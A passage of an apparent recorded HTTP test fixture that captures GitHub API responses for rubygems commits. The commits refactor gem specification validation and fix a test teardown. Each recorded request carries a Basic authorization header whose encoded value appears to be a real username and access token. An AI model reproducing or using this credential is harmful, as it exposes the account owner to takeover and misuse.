nil_attributes.empty?\n+ raise Gem::InvalidSpecificationException,\n+ \"#{nil_attributes.join '', ''} must not be nil\"\n+ end\n+\n+ def validate_rubygems_version\n+ if packaging && rubygems_version != Gem::VERSION\n+ raise Gem::InvalidSpecificationException,\n+ \"expected RubyGems version #{Gem::VERSION}, was #{rubygems_version}\"\n+ end\n+ end\n+\n+ def validate_required_attributes\n+ __getobj__.class.required_attributes.each do |symbol|\n+ unless send symbol\n+ raise Gem::InvalidSpecificationException,\n+ \"missing value for attribute #{symbol}\"\n+ end\n+ end\n+ end\n+\n+ def validate_name\n+ if !name.is_a?(String)\n+ raise Gem::InvalidSpecificationException,\n+ \"invalid value for attribute name: \\\"#{name.inspect}\\\" must be a string\"\n+ elsif name !~ /[a-zA-Z]/\n+ raise Gem::InvalidSpecificationException,\n+ \"invalid value for attribute name: #{name.dump} must include at least one letter\"\n+ elsif name !~ VALID_NAME_PATTERN\n+ raise Gem::InvalidSpecificationException,\n+ \"invalid value for attribute name: #{name.dump} can only include letters, numbers, dashes, and underscores\"\n+ end\n+ end\n+\n+ def validate_require_paths\n+ if raw_require_paths.empty?\n+ raise Gem::InvalidSpecificationException,\n+ ''specification must have at least one require_path''\n+ end\n+ end\n+\n+ def validate_non_files\n+ non_files = files.reject {|x| File.file?(x) || File.symlink?(x)}\n+\n+ unless not packaging or non_files.empty?\n+ raise Gem::InvalidSpecificationException,\n+ \"[\\\"#{non_files.join \"\\\", \\\"\"}\\\"] are not files\"\n+ end\n+ end\n+\n+ def validate_self_inclusion_in_files_list\n+ if files.include?(file_name)\n+ raise Gem::InvalidSpecificationException,\n+ \"#{full_name} contains itself (#{file_name}), check your files list\"\n+ end\n+ end\n+\n+ def validate_specification_version\n+ unless specification_version.is_a?(Integer)\n+ raise Gem::InvalidSpecificationException,\n+ ''specification_version must be an Integer (did you mean version?)''\n+ end\n+ end\n+\n+ def validate_platform\n+ case platform\n+ when Gem::Platform, Gem::Platform::RUBY then # ok\n+ else\n+ raise Gem::InvalidSpecificationException,\n+ \"invalid platform #{platform.inspect}, see Gem::Platform\"\n+ end\n+ end\n+\n+ def validate_array_attributes\n+ __getobj__.class.array_attributes.each do |field|\n+ val = self.send(field)\n+ klass = case field\n+ when :dependencies\n+ Gem::Dependency\n+ else\n+ String\n+ end\n+\n+ unless Array === val and val.all? {|x| x.kind_of?(klass)}\n+ raise(Gem::InvalidSpecificationException,\n+ \"#{field} must be an Array of #{klass}\")\n+ end\n+ end\n+ end\n+\n+ def validate_authors_field\n+ [:authors].each do |field|\n+ val = self.send(field)\n+ raise Gem::InvalidSpecificationException, \"#{field} may not be empty\" if val.empty?\n+ end\n+ end\n+\n+ def validate_metadata\n+ unless Hash === metadata\n+ raise Gem::InvalidSpecificationException,\n+ ''metadata must be a hash''\n+ end\n+\n+ url_validation_regex = %r{\\Ahttps?:\\/\\/([^\\s:@]+:[^\\s:@]*@)?[A-Za-z\\d\\-]+(\\.[A-Za-z\\d\\-]+)+\\.?(:\\d{1,5})?([\\/?]\\S*)?\\z}\n+ link_keys = %w[\n+ bug_tracker_uri\n+ changelog_uri\n+ documentation_uri\n+ homepage_uri\n+ mailing_list_uri\n+ source_code_uri\n+ wiki_uri\n+ ]\n+\n+ metadata.each do|key, value|\n+ if !key.kind_of?(String)\n+ raise Gem::InvalidSpecificationException,\n+ \"metadata keys must be a String\"\n+ end\n+\n+ if key.size > 128\n+ raise Gem::InvalidSpecificationException,\n+ \"metadata key too large (#{key.size} > 128)\"\n+ end\n+\n+ if !value.kind_of?(String)\n+ raise Gem::InvalidSpecificationException,\n+ \"metadata values must be a String\"\n+ end\n+\n+ if value.size > 1024\n+ raise Gem::InvalidSpecificationException,\n+ \"metadata value too large (#{value.size} > 1024)\"\n+ end\n+\n+ if link_keys.include? key\n+ if value !~ url_validation_regex\n+ raise Gem::InvalidSpecificationException,\n+ \"metadata[''#{key}''] has invalid link: #{value.inspect}\"\n+ end\n+ end\n+ end\n+ end\n+\n+\n+ def validate_licenses\n+ licenses.each { |license|\n+ if license.length > 64\n+ raise Gem::InvalidSpecificationException,\n+ \"each license must be 64 characters or less\"\n+ end\n+\n+ if !Gem::Licenses.match?(license)\n+ suggestions = Gem::Licenses.suggestions(license)\n+ message = <<-warning\n+license value ''#{license}'' is invalid. Use a license identifier from\n+http://spdx.org/licenses or ''#{Gem::Licenses::NONSTANDARD}'' for a nonstandard license.\n+ warning\n+ message += \"Did you mean #{suggestions.map { |s| \"''#{s}''\"}.join('', '')}?\\n\" unless suggestions.nil?\n+ warning(message)\n+ end\n+ }\n+\n+ warning <<-warning if licenses.empty?\n+licenses is empty, but is recommended. Use a license identifier from\n+http://spdx.org/licenses or ''#{Gem::Licenses::NONSTANDARD}'' for a nonstandard license.\n+ warning\n+ end\n+\n+ ##\n+ # Checks to see if the files to be packaged are world-readable.\n+ def validate_permissions\n+ return if Gem.win_platform?\n+\n+ files.each do |file|\n+ next unless File.file?(file)\n+ next if File.stat(file).mode & 0444 == 0444\n+ warning \"#{file} is not world-readable\"\n+ end\n+\n+ executables.each do |name|\n+ exec = File.join bindir, name\n+ next unless File.file?(exec)\n+ next if File.stat(exec).executable?\n+ warning \"#{exec} is not executable\"\n+ end\n+ end\n+\n+ def validate_lazy_metadata\n+ lazy = ''\"FIxxxXME\" or \"TOxxxDO\"''.gsub(/xxx/, '''')\n+ lazy_pattern = /FI XME|TO DO/x\n+\n+ unless authors.grep(lazy_pattern).empty?\n+ raise Gem::InvalidSpecificationException, \"#{lazy} is not an author\"\n+ end\n+\n+ unless Array(email).grep(lazy_pattern).empty?\n+ raise Gem::InvalidSpecificationException, \"#{lazy} is not an email\"\n+ end\n+\n+ if description =~ lazy_pattern\n+ raise Gem::InvalidSpecificationException, \"#{lazy} is not a description\"\n+ end\n+\n+ if summary =~ lazy_pattern\n+ raise Gem::InvalidSpecificationException, \"#{lazy} is not a summary\"\n+ end\n+\n+ if homepage and not homepage.empty? and\n+ homepage !~ /\\A[a-z][a-z\\d+.-]*:/i\n+ raise Gem::InvalidSpecificationException,\n+ \"\\\"#{homepage}\\\" is not a URI\"\n+ end\n+ end\n+\n+ def validate_values\n+ %w[author homepage summary files].each do |attribute|\n+ value = self.send attribute\n+ warning(\"no #{attribute} specified\") if value.nil? || value.empty?\n+ end\n+\n+ if description == summary\n+ warning \"description and summary are identical\"\n+ end\n+\n+ # TODO: raise at some given date\n+ warning \"deprecated autorequire specified\" if autorequire\n+\n+ executables.each do |executable|\n+ executable_path = File.join(bindir, executable)\n+ shebang = File.read(executable_path, 2) == ''#!''\n+\n+ warning \"#{executable_path} is missing #! line\" unless shebang\n+ end\n+\n+ files.each do |file|\n+ next unless File.symlink?(file)\n+ warning \"#{file} is a symlink, which is not supported on all platforms\"\n+ end\n+ end\n+\n+ ##\n+ # Checks that dependencies use requirements as we recommend. Warnings are\n+ # issued when dependencies are open-ended or overly strict for semantic\n+ # versioning.\n+ def validate_dependencies # :nodoc:\n+ # NOTE: see REFACTOR note in Gem::Dependency about types - this might be brittle\n+ seen = Gem::Dependency::TYPES.inject({}) { |types, type| types.merge({ type => {}}) }\n+\n+ error_messages = []\n+ warning_messages = []\n+ dependencies.each do |dep|\n+ if prev = seen[dep.type][dep.name] then\n+ error_messages << <<-MESSAGE\n+duplicate dependency on #{dep}, (#{prev.requirement}) use:\n+ add_#{dep.type}_dependency ''#{dep.name}'', ''#{dep.requirement}'', ''#{prev.requirement}''\n+ MESSAGE\n+ end\n+\n+ seen[dep.type][dep.name] = dep\n+\n+ prerelease_dep = dep.requirements_list.any? do |req|\n+ Gem::Requirement.new(req).prerelease?\n+ end\n+\n+ warning_messages << \"prerelease dependency on #{dep} is not recommended\" if\n+ prerelease_dep && !version.prerelease?\n+\n+ overly_strict = dep.requirement.requirements.length == 1 &&\n+ dep.requirement.requirements.any? do |op, version|\n+ op == ''~>'' and\n+ not version.prerelease? and\n+ version.segments.length > 2 and\n+ version.segments.first != 0\n+ end\n+\n+ if overly_strict then\n+ _, dep_version = dep.requirement.requirements.first\n+\n+ base = dep_version.segments.first 2\n+\n+ warning_messages << <<-WARNING\n+pessimistic dependency on #{dep} may be overly strict\n+ if #{dep.name} is semantically versioned, use:\n+ add_#{dep.type}_dependency ''#{dep.name}'', ''~> #{base.join ''.''}'', ''>= #{dep_version}''\n+ WARNING\n+ end\n+\n+ open_ended = dep.requirement.requirements.all? do |op, version|\n+ not version.prerelease? and (op == ''>'' or op == ''>='')\n+ end\n+\n+ if open_ended then\n+ op, dep_version = dep.requirement.requirements.first\n+\n+ base = dep_version.segments.first 2\n+\n+ bugfix = if op == ''>'' then\n+ \", ''> #{dep_version}''\"\n+ elsif op == ''>='' and base != dep_version.segments then\n+ \", ''>= #{dep_version}''\"\n+ end\n+\n+ warning_messages << <<-WARNING\n+open-ended dependency on #{dep} is not recommended\n+ if #{dep.name} is semantically versioned, use:\n+ add_#{dep.type}_dependency ''#{dep.name}'', ''~> #{base.join ''.''}''#{bugfix}\n+ WARNING\n+ end\n+ end\n+ if error_messages.any?\n+ raise Gem::InvalidSpecificationException, error_messages.join\n+ end\n+ if warning_messages.any?\n+ warning_messages.each { |warning_message| warning warning_message }\n+ end\n+ end\n+end\n+"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:52 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/9c7702320330ccc67408755c8df0372d4d764e61 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:52 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4517' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"2ffa43516a0d9c2064d304873a3e7010" Last-Modified: - Fri, 24 Nov 2017 19:36:36 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.044234' X-Github-Request-Id: - C4F4:4D95:F47CD6:1C83495:5A50E468 body: encoding: ASCII-8BIT string: '{"sha":"9c7702320330ccc67408755c8df0372d4d764e61","commit":{"author":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-24T19:36:36Z"},"committer":{"name":"Olle Jonsson","email":"olle.jonsson@gmail.com","date":"2017-11-24T19:36:36Z"},"message":"Specification: Extract validation methods","tree":{"sha":"e61d0b54e6ed28595b084a79ba6d273d1778a5c8","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e61d0b54e6ed28595b084a79ba6d273d1778a5c8"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/9c7702320330ccc67408755c8df0372d4d764e61","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/9c7702320330ccc67408755c8df0372d4d764e61","html_url":"https://github.com/rubygems/rubygems/commit/9c7702320330ccc67408755c8df0372d4d764e61","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/9c7702320330ccc67408755c8df0372d4d764e61/comments","author":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"committer":{"login":"olleolleolle","id":211,"avatar_url":"https://avatars0.githubusercontent.com/u/211?v=4","gravatar_id":"","url":"https://api.github.com/users/olleolleolle","html_url":"https://github.com/olleolleolle","followers_url":"https://api.github.com/users/olleolleolle/followers","following_url":"https://api.github.com/users/olleolleolle/following{/other_user}","gists_url":"https://api.github.com/users/olleolleolle/gists{/gist_id}","starred_url":"https://api.github.com/users/olleolleolle/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/olleolleolle/subscriptions","organizations_url":"https://api.github.com/users/olleolleolle/orgs","repos_url":"https://api.github.com/users/olleolleolle/repos","events_url":"https://api.github.com/users/olleolleolle/events{/privacy}","received_events_url":"https://api.github.com/users/olleolleolle/received_events","type":"User","site_admin":false},"parents":[{"sha":"8c091b68c7dd29205f4318f4c6724a164b4ef830","url":"https://api.github.com/repos/rubygems/rubygems/commits/8c091b68c7dd29205f4318f4c6724a164b4ef830","html_url":"https://github.com/rubygems/rubygems/commit/8c091b68c7dd29205f4318f4c6724a164b4ef830"}],"stats":{"total":153,"additions":82,"deletions":71},"files":[{"sha":"0bcd79a41451b22a586700cb40cfa619ae8b6762","filename":"lib/rubygems/specification.rb","status":"modified","additions":82,"deletions":71,"changes":153,"blob_url":"https://github.com/rubygems/rubygems/blob/9c7702320330ccc67408755c8df0372d4d764e61/lib/rubygems/specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/9c7702320330ccc67408755c8df0372d4d764e61/lib/rubygems/specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification.rb?ref=9c7702320330ccc67408755c8df0372d4d764e61","patch":"@@ -2774,81 +2774,13 @@ def validate packaging = true\n \n validate_metadata\n \n- licenses.each { |license|\n- if license.length > 64\n- raise Gem::InvalidSpecificationException,\n- \"each license must be 64 characters or less\"\n- end\n-\n- if !Gem::Licenses.match?(license)\n- suggestions = Gem::Licenses.suggestions(license)\n- message = <<-warning\n-license value ''#{license}'' is invalid. Use a license identifier from\n-http://spdx.org/licenses or ''#{Gem::Licenses::NONSTANDARD}'' for a nonstandard license.\n- warning\n- message += \"Did you mean #{suggestions.map { |s| \"''#{s}''\"}.join('', '')}?\\n\" unless suggestions.nil?\n- warning(message)\n- end\n- }\n-\n- warning <<-warning if licenses.empty?\n-licenses is empty, but is recommended. Use a license identifier from\n-http://spdx.org/licenses or ''#{Gem::Licenses::NONSTANDARD}'' for a nonstandard license.\n- warning\n+ validate_licenses\n \n validate_permissions\n \n- # reject lazy developers:\n-\n- lazy = ''\"FIxxxXME\" or \"TOxxxDO\"''.gsub(/xxx/, '''')\n-\n- unless authors.grep(/FI XME|TO DO/x).empty? then\n- raise Gem::InvalidSpecificationException, \"#{lazy} is not an author\"\n- end\n-\n- unless Array(email).grep(/FI XME|TO DO/x).empty? then\n- raise Gem::InvalidSpecificationException, \"#{lazy} is not an email\"\n- end\n+ validate_lazy_metadata\n \n- if description =~ /FI XME|TO DO/x then\n- raise Gem::InvalidSpecificationException, \"#{lazy} is not a description\"\n- end\n-\n- if summary =~ /FI XME|TO DO/x then\n- raise Gem::InvalidSpecificationException, \"#{lazy} is not a summary\"\n- end\n-\n- if homepage and not homepage.empty? and\n- homepage !~ /\\A[a-z][a-z\\d+.-]*:/i then\n- raise Gem::InvalidSpecificationException,\n- \"\\\"#{homepage}\\\" is not a URI\"\n- end\n-\n- # Warnings\n-\n- %w[author homepage summary files].each do |attribute|\n- value = self.send attribute\n- warning \"no #{attribute} specified\" if value.nil? or value.empty?\n- end\n-\n- if description == summary then\n- warning ''description and summary are identical''\n- end\n-\n- # TODO: raise at some given date\n- warning \"deprecated autorequire specified\" if autorequire\n-\n- executables.each do |executable|\n- executable_path = File.join(bindir, executable)\n- shebang = File.read(executable_path, 2) == ''#!''\n-\n- warning \"#{executable_path} is missing #! line\" unless shebang\n- end\n-\n- files.each do |file|\n- next unless File.symlink?(file)\n- warning \"#{file} is a symlink, which is not supported on all platforms\"\n- end\n+ validate_values\n \n validate_dependencies\n \n@@ -3065,6 +2997,85 @@ def raw_require_paths # :nodoc:\n \n extend Gem::Deprecate\n \n+ private\n+\n+ def validate_values\n+ %w[author homepage summary files].each do |attribute|\n+ value = self.send attribute\n+ warning(\"no #{attribute} specified\") if value.nil? || value.empty?\n+ end\n+\n+ if description == summary\n+ warning \"description and summary are identical\"\n+ end\n+\n+ # TODO: raise at some given date\n+ warning \"deprecated autorequire specified\" if autorequire\n+\n+ executables.each do |executable|\n+ executable_path = File.join(bindir, executable)\n+ shebang = File.read(executable_path, 2) == ''#!''\n+\n+ warning \"#{executable_path} is missing #! line\" unless shebang\n+ end\n+\n+ files.each do |file|\n+ next unless File.symlink?(file)\n+ warning \"#{file} is a symlink, which is not supported on all platforms\"\n+ end\n+ end\n+\n+ def validate_licenses\n+ licenses.each { |license|\n+ if license.length > 64\n+ raise Gem::InvalidSpecificationException,\n+ \"each license must be 64 characters or less\"\n+ end\n+\n+ if !Gem::Licenses.match?(license)\n+ suggestions = Gem::Licenses.suggestions(license)\n+ message = <<-warning\n+license value ''#{license}'' is invalid. Use a license identifier from\n+http://spdx.org/licenses or ''#{Gem::Licenses::NONSTANDARD}'' for a nonstandard license.\n+ warning\n+ message += \"Did you mean #{suggestions.map { |s| \"''#{s}''\"}.join('', '')}?\\n\" unless suggestions.nil?\n+ warning(message)\n+ end\n+ }\n+\n+ warning <<-warning if licenses.empty?\n+licenses is empty, but is recommended. Use a license identifier from\n+http://spdx.org/licenses or ''#{Gem::Licenses::NONSTANDARD}'' for a nonstandard license.\n+ warning\n+ end\n+\n+ def validate_lazy_metadata\n+ lazy = ''\"FIxxxXME\" or \"TOxxxDO\"''.gsub(/xxx/, '''')\n+ lazy_pattern = /FI XME|TO DO/x\n+\n+ unless authors.grep(lazy_pattern).empty?\n+ raise Gem::InvalidSpecificationException, \"#{lazy} is not an author\"\n+ end\n+\n+ unless Array(email).grep(lazy_pattern).empty?\n+ raise Gem::InvalidSpecificationException, \"#{lazy} is not an email\"\n+ end\n+\n+ if description =~ lazy_pattern\n+ raise Gem::InvalidSpecificationException, \"#{lazy} is not a description\"\n+ end\n+\n+ if summary =~ lazy_pattern\n+ raise Gem::InvalidSpecificationException, \"#{lazy} is not a summary\"\n+ end\n+\n+ if homepage and not homepage.empty? and\n+ homepage !~ /\\A[a-z][a-z\\d+.-]*:/i\n+ raise Gem::InvalidSpecificationException,\n+ \"\\\"#{homepage}\\\" is not a URI\"\n+ end\n+ end\n+\n # TODO:\n # deprecate :has_rdoc, :none, 2011, 10\n # deprecate :has_rdoc?, :none, 2011, 10"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:52 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/a1336fa534c15f11f55da7d6b042b823d1526131 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:52 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4516' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"709b8d744a04c2d086e6a1e5afdf77b3" Last-Modified: - Fri, 24 Nov 2017 14:19:30 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.038801' X-Github-Request-Id: - A226:4D95:F47CDC:1C834A4:5A50E468 body: encoding: ASCII-8BIT string: '{"sha":"a1336fa534c15f11f55da7d6b042b823d1526131","commit":{"author":{"name":"Thibault Jouan","email":"tj@a13.fr","date":"2017-11-24T03:46:51Z"},"committer":{"name":"Thibault Jouan","email":"tj@a13.fr","date":"2017-11-24T14:19:30Z"},"message":"Workaround common options mutation in Gem::Command test\n\n We need to restore common options if we want to execute commands using\nsuch options in other tests. For example, if a test runs a command with\n`--silent'' option, we get this kind of error:\n\n OptionParser::InvalidOption: invalid option: --silent","tree":{"sha":"3b8bd90acfc804a58d8defb21b271dc443510fb8","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/3b8bd90acfc804a58d8defb21b271dc443510fb8"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a1336fa534c15f11f55da7d6b042b823d1526131","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a1336fa534c15f11f55da7d6b042b823d1526131","html_url":"https://github.com/rubygems/rubygems/commit/a1336fa534c15f11f55da7d6b042b823d1526131","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a1336fa534c15f11f55da7d6b042b823d1526131/comments","author":{"login":"tjouan","id":61271,"avatar_url":"https://avatars3.githubusercontent.com/u/61271?v=4","gravatar_id":"","url":"https://api.github.com/users/tjouan","html_url":"https://github.com/tjouan","followers_url":"https://api.github.com/users/tjouan/followers","following_url":"https://api.github.com/users/tjouan/following{/other_user}","gists_url":"https://api.github.com/users/tjouan/gists{/gist_id}","starred_url":"https://api.github.com/users/tjouan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tjouan/subscriptions","organizations_url":"https://api.github.com/users/tjouan/orgs","repos_url":"https://api.github.com/users/tjouan/repos","events_url":"https://api.github.com/users/tjouan/events{/privacy}","received_events_url":"https://api.github.com/users/tjouan/received_events","type":"User","site_admin":false},"committer":{"login":"tjouan","id":61271,"avatar_url":"https://avatars3.githubusercontent.com/u/61271?v=4","gravatar_id":"","url":"https://api.github.com/users/tjouan","html_url":"https://github.com/tjouan","followers_url":"https://api.github.com/users/tjouan/followers","following_url":"https://api.github.com/users/tjouan/following{/other_user}","gists_url":"https://api.github.com/users/tjouan/gists{/gist_id}","starred_url":"https://api.github.com/users/tjouan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tjouan/subscriptions","organizations_url":"https://api.github.com/users/tjouan/orgs","repos_url":"https://api.github.com/users/tjouan/repos","events_url":"https://api.github.com/users/tjouan/events{/privacy}","received_events_url":"https://api.github.com/users/tjouan/received_events","type":"User","site_admin":false},"parents":[{"sha":"8c091b68c7dd29205f4318f4c6724a164b4ef830","url":"https://api.github.com/repos/rubygems/rubygems/commits/8c091b68c7dd29205f4318f4c6724a164b4ef830","html_url":"https://github.com/rubygems/rubygems/commit/8c091b68c7dd29205f4318f4c6724a164b4ef830"}],"stats":{"total":6,"additions":6,"deletions":0},"files":[{"sha":"4442c6108ea8313efcb3dc64a780675e0c40557d","filename":"test/rubygems/test_gem_command.rb","status":"modified","additions":6,"deletions":0,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/a1336fa534c15f11f55da7d6b042b823d1526131/test/rubygems/test_gem_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a1336fa534c15f11f55da7d6b042b823d1526131/test/rubygems/test_gem_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_command.rb?ref=a1336fa534c15f11f55da7d6b042b823d1526131","patch":"@@ -13,6 +13,7 @@ def setup\n \n @xopt = nil\n \n+ @common_options = Gem::Command.common_options.dup\n Gem::Command.common_options.clear\n Gem::Command.common_options << [\n [''-x'', ''--exe'', ''Execute''], lambda do |*a|\n@@ -24,6 +25,11 @@ def setup\n @cmd = Gem::Command.new @cmd_name, ''summary''\n end\n \n+ def teardown\n+ super\n+ Gem::Command.common_options.replace @common_options\n+ end\n+\n def test_self_add_specific_extra_args\n added_args = %w[--all]\n @cmd.add_option ''--all'' do |v,o| end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:52 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/8c091b68c7dd29205f4318f4c6724a164b4ef830 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:52 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4515' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"44253f06dff6dd6849d245d13b1a4af8" Last-Modified: - Thu, 23 Nov 2017 00:30:46 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.049925' X-Github-Request-Id: - C4F8:4D96:9715D1:13A366D:5A50E468 body: encoding: ASCII-8BIT string: '{"sha":"8c091b68c7dd29205f4318f4c6724a164b4ef830","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-23T00:30:46Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-11-23T00:30:46Z"},"message":"Auto merge of #2096 - hsbt:revise-after-271, r=hsbt\n\nRevise my fixes for Rubygems 2.7.2\n\n* Applied to fix https://github.com/rubygems/rubygems/pull/2086#discussion_r152564276 .\n* Fix a name of gemspec directories on tests\n* Fix a test for https://github.com/rubygems/rubygems/pull/2094 . It asserts wrong bin path.","tree":{"sha":"1463fc93169e5d962236d563a779eb139ec5308a","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1463fc93169e5d962236d563a779eb139ec5308a"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/8c091b68c7dd29205f4318f4c6724a164b4ef830","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/8c091b68c7dd29205f4318f4c6724a164b4ef830","html_url":"https://github.com/rubygems/rubygems/commit/8c091b68c7dd29205f4318f4c6724a164b4ef830","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/8c091b68c7dd29205f4318f4c6724a164b4ef830/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subsc